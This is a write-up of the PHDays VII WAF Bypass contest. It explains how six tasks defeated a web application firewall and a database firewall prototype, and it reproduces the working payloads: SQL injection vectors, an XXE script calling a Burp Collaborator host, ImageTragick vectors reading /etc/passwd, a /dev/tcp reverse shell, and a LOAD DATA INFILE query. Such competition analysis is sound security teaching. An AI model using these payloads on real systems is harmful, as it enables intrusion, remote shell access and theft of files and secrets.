⬆️ ⬇️

Analysis of tasks of the WAF Bypass contest on PHDays VII

The PHDays International Information Security Forum has once again become a platform for the WAF Bypass competition. The goal of the competition is to bypass the protection mechanisms of the PT Application Firewall in order to get special flags through vulnerabilities in prepared web applications. Each of the tasks implied the options for circumventing the PT Application Firewall, which, in turn, was made possible by disabling a number of security features. This year, we also decided to test a prototype of a database firewall (DBFW), which analyzed SQL traffic from applications to databases (DB).



Task 1 (JJ)



350 points



The task was proposed to bypass the algorithm for detecting SQL injections. A PHP module was installed on the application server, which replaces the original mysql_query () function with its own. In it, the values ​​of HTTP parameters (GET, POST, Cookie) are added to the beginning of the SQL query as a comment.





')

After the SQL query from the application is sent to the database using a substitute function, it is intercepted by DBFW. That retrieves the values ​​of the HTTP parameters from the comment and searches them in the SQL query. If the substring corresponding to the parameter value is found, it is replaced by a constant. Then two requests are tokenized: before and after replacement. If the number of received tokens does not match, then this indicates a SQL injection. It is known that the main symptom of an injection-type attack is a change in the parse tree. If the number of tokens has changed, then the parse tree has changed, which means an injection has occurred. We disclosed the logic of this algorithm in the report “ Database Firewall from Scratch ”, where we shared our experience in the study of DBFW security mechanisms. So those who visited the report could understand the main drawback of this approach: it’s impossible to draw a conclusion about the injection based on the number of tokens in general, since the parse tree can be changed so that the number of tokens in the original and analyzed queries will match. For example, an attacker can add comments to his vector in such a way that the number of tokens in the requests will be the same, but the tokens themselves will be different. The correct way is to build and compare abstract syntax trees (AST) of two queries. Thus, in order to complete the task, it was necessary to create a vector that coincided with the original request without the injection by the number of tokens:



/post.php?p=-1 union select 1,2,(select flag from flags order by id,1),4 -- -







Participants found a flaw in our ANTLR parser for MySQL. The fact is that MySQL supports conditional comments using the / * construct! ... * /. Anything inside this comment will be executed by MySQL, but other databases will ignore such a construction.



http://task1.waf-bypass.phdays.com/post.php?p=(select /*!50718 ST_LatFromGeoHash((SELECT table_name FROm information_schema.tables LIMIT 1)) */) and true and true and true order by id desc limit 10 -- (Arseny Sharoglazov)



http://task1.waf-bypass.phdays.com/post.php?p=/*!1111111 union select 1 id,flag,1,1 from flags where 1*/ (Sergey Bobrov)



Task 2 (KM)



250 points



In the second task, participants had access to an application that allowed adding notes. In this case, in the p parameter, a full SQL query was sent to hex:



http://task2.waf-bypass.phdays.com/notes.php?q=53454c454354207469746c652c20626f64792046524f4d206e6f746573204c494d4954203235 (SELECT title, body FROM notes LIMIT 25 )



In ALFAScript, we set attribute access control (ABAC) policies that allow users to perform only INSERT, UPDATE and SELECT only for the notes table. Thus, attempts to access the flags table were blocked. But we laid the detour by allowing execution of the CREATE statement. Our proposed solution was to create an event that would write the flag in the notes table:



CREATE EVENT `new_event` ON SCHEDULE EVERY 60 SECOND STARTS CURRENT_TIMESTAMP ON COMPLETION NOT PRESERVE ENABLE COMMENT '' DO insert into notes (title, body) VALUES ((select flag from flags limit 1), 2)







In addition to CREATE EVENT, you could use CREATE TABLE and get the flag in the MySQL message, forcibly causing an error (the decision of Arseny Sharoglazov):



CREATE TABLE ggg AS SELECT ST_LongFromGeoHash (flag) FROM flags;







Sergey Bobrov decided in an alternative way, using the ON DUPLICATE KEY UPDATE construct, which allows you to execute an UPDATE inside an INSERT with one query:



INSERT INTO notes SELECT 1,2,3 FROM notes,flags as a ON DUPLICATE KEY UPDATE body = flag



Task 3 (AG)



300 points



To complete the task, participants had to detect and exploit the vulnerability in one of the old versions of the Adobe BlazeDS demo application. The peculiarity of the application is that it uses the AMF (Action Message Format) protocol for communication with the server. AMF itself is a serialized structure with field typing. One type is XML (0x0b), incorrect parsing of which led to a number of vulnerabilities in libraries for working with AMF , including in BlazeDS.



WAF had the built-in AMF parser, however, the parsing of external Flex objects was disabled for the job: AcknowledgeMessageExt (DSK alias), CommandMessageExt (DSC), AsyncMessageExt (DSA). At the same time, BlazeDS could parse such messages and find XML in them, which ultimately led to a vulnerability to the XXE attack.



You can create such a request using the pyamf library:



 import pyamf import httplib import uuid from pyamf.flex.messaging import RemotingMessage, AcknowledgeMessageExt from pyamf.remoting import Envelope, Request, decode hostname = 'task3.waf-bypass.phdays.com' port = 80 path = '/samples/messagebroker/amf' request = AcknowledgeMessageExt( operation="findEmployeesByName", destination="runtime-employee-ro", messageId=None, body=[ '<!DOCTYPE x [ ' '<!ENTITY foo SYSTEM "http://dta58o8o6fljzkvl52h8458lacg54u.burpcollaborator.net"> ]>' '<x>External entity 1: &foo;</x>'], clientId=None, headers={'DSId': str(uuid.uuid4()).upper(), 'DSEndpoint': 'my-amf'} ) envelope = Envelope(amfVersion=3) envelope["/%d" % 1] = Request(u'null', [request]) message = pyamf.remoting.encode(envelope) conn = httplib.HTTPConnection(hostname, port) conn.request('POST', path, message.getvalue(), headers={'Content-Type': 'application/x-amf'}) resp = conn.getresponse() data = resp.read() content = decode(data) print content 




BlazeDS was configured to work through an internal transparent proxy that added a header with a flag to all outgoing requests.







Task 4 (KP)



200 points



For the task, a version of the Pasteboard web application was used, vulnerable to the Imagetragick attack. WAF was specifically configured to filter only the following keywords:

url, caption:, label:, ephemeral:, msl:



However, less common vectors were available. For example, the text wrapper (unlike the label, the "@" character is not required before the file name):



push graphic-context

viewbox 0 0 640 480

image over 0,0 0,0 'text:/etc/passwd'

pop graphic-context




The output was a picture with the contents of the / etc / passwd file:







Arseny Sharoglazov used the vector with image over:



push graphic-context

encoding "UTF-8"

viewbox 0 0 1 1

affine 1 0 0 1 0 0

push graphic-context

image Over 0,0 1,1 '|/bin/sh -i > /dev/tcp/ip/80 0<&1 2>&1'

pop graphic-context

pop graphic-context




Sergey Bobrov found in the source of imagemagick a pango: wrapper wrapper, which was not previously mentioned in known exploits.



push graphic-context

viewbox 0 0 640 480

image over 0,0 0,0 'pango:@/etc/passwd'

pop graphic-context




Task 5 (GM)



250 points



The task was a search form vulnerable to SQL injection. The table with the search result contained the publickey field. The task was to deduce the value of the privatekey field through a SQL injection. The following ABAC policy set on ALFAScript was used:



namespace example {

export policy Main {

target clause action == "select"

apply denyUnlessPermit



rule r1 {

permit

target clause resource.schema.id == "information_schema"

}



rule r2 {

permit

target clause resource.schema.id == "task5"

and resource.table.id == "users"

and resource.column.id == "publickey"

}



rule r3 {

permit

target clause resource.schema.id == "task5"

and resource.table.id == "users"

and resource.column.id == "name"

}

}

}




Here you need to pay attention to the keyword denyUnlessPermit. Within XACML, there are several types of decision combination algorithms for describing attribute access control policies. The use of the denyUnlessPermit algorithm means that a request will be allowed if and only if at least one of the rules allows the user to access the resource. DBFW does not know the actual structure of the DBMS, so when it sees a query of the type SELECT a, b from c, d, it does not know where it is, for example, column a: in the table with or d. In the case of such requests, DBFW is forced to check the user's access to all resource options. In this example, to the columns ca, cb, da and db Therefore, if we build a query that will contain at least one allowed column, then using a sample of two tables, we can extract the privatekey:



Petrov' union select name, privatekey from information_schema.columns,users where name = 'Petrov' --







Task 6 (ES)



300 points



The web application for the task had two functions: loading CSV files with a list of contacts and a contact search form that contained a SQL injection. The DBFW algorithm called “Dejector” was used as a defense mechanism. For the first time, this method of detecting SQL injections was described in the work of Hansen and Patterson " Guns and Butter Towards Formal Axioms of Input Validation ". Its essence is that according to the set of well-known requests of a web application (for example, such a large number of requests can be obtained by static analyzers of the source code), the subgramm of the SQL language is built. A parser is generated for this grammar. If the request is recognized by the parser, then the request belongs to the language, otherwise the request does not belong to the language, and therefore is fake.



For the assignment, we prepared a grammar that described valid queries. The ability to upload files to CSV made it clear that the MySQL user could work with files. Another hint was contained in the error: mysqli_multi_query () was used, which means that stacked queries worked. Normal LOAD_FILE () was forbidden by grammar, however LOAD DATA INFILE was available:



'; load data infile '/etc/passwd' into table users character set 'utf8







results









The first and second places were taken by Kaspersky Lab specialists - Sergey Bobrov and Arseny Sharoglazov. Third place went to a student of Tyumen State University, Andrei Semakin. Congratulations to the winners!



Arseny Reutov (@ Raz0r), Dmitry Nagibin, Igor Kanygin (@akamajoris), Denis Kolegov, Nikolai Tkachenko, Ivan Hudyashov

Source: https://habr.com/ru/post/330002/



All Articles